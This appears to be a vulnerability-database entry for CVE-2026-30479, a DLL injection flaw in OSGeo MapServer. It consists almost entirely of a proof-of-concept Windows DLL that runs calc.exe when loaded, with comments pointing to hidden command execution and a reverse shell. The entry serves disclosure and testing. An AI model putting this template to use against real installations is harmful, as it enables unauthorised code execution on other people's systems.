CVE-2026-30479 OSGeo MapServer DLL注入漏洞

#include <windows.h> #include <stdlib.h> // PoC for CVE-2026-30479 DLL Injection // This DLL executes a shell command when loaded by the vulnerable MapServer process. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute upon injection // Example: Launching a calculator or reverse shell system("calc.exe"); // Or use WinExec for simpler commands // WinExec("cmd.exe /c whoami > C:\\temp\\poc.txt", SW_HIDE); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }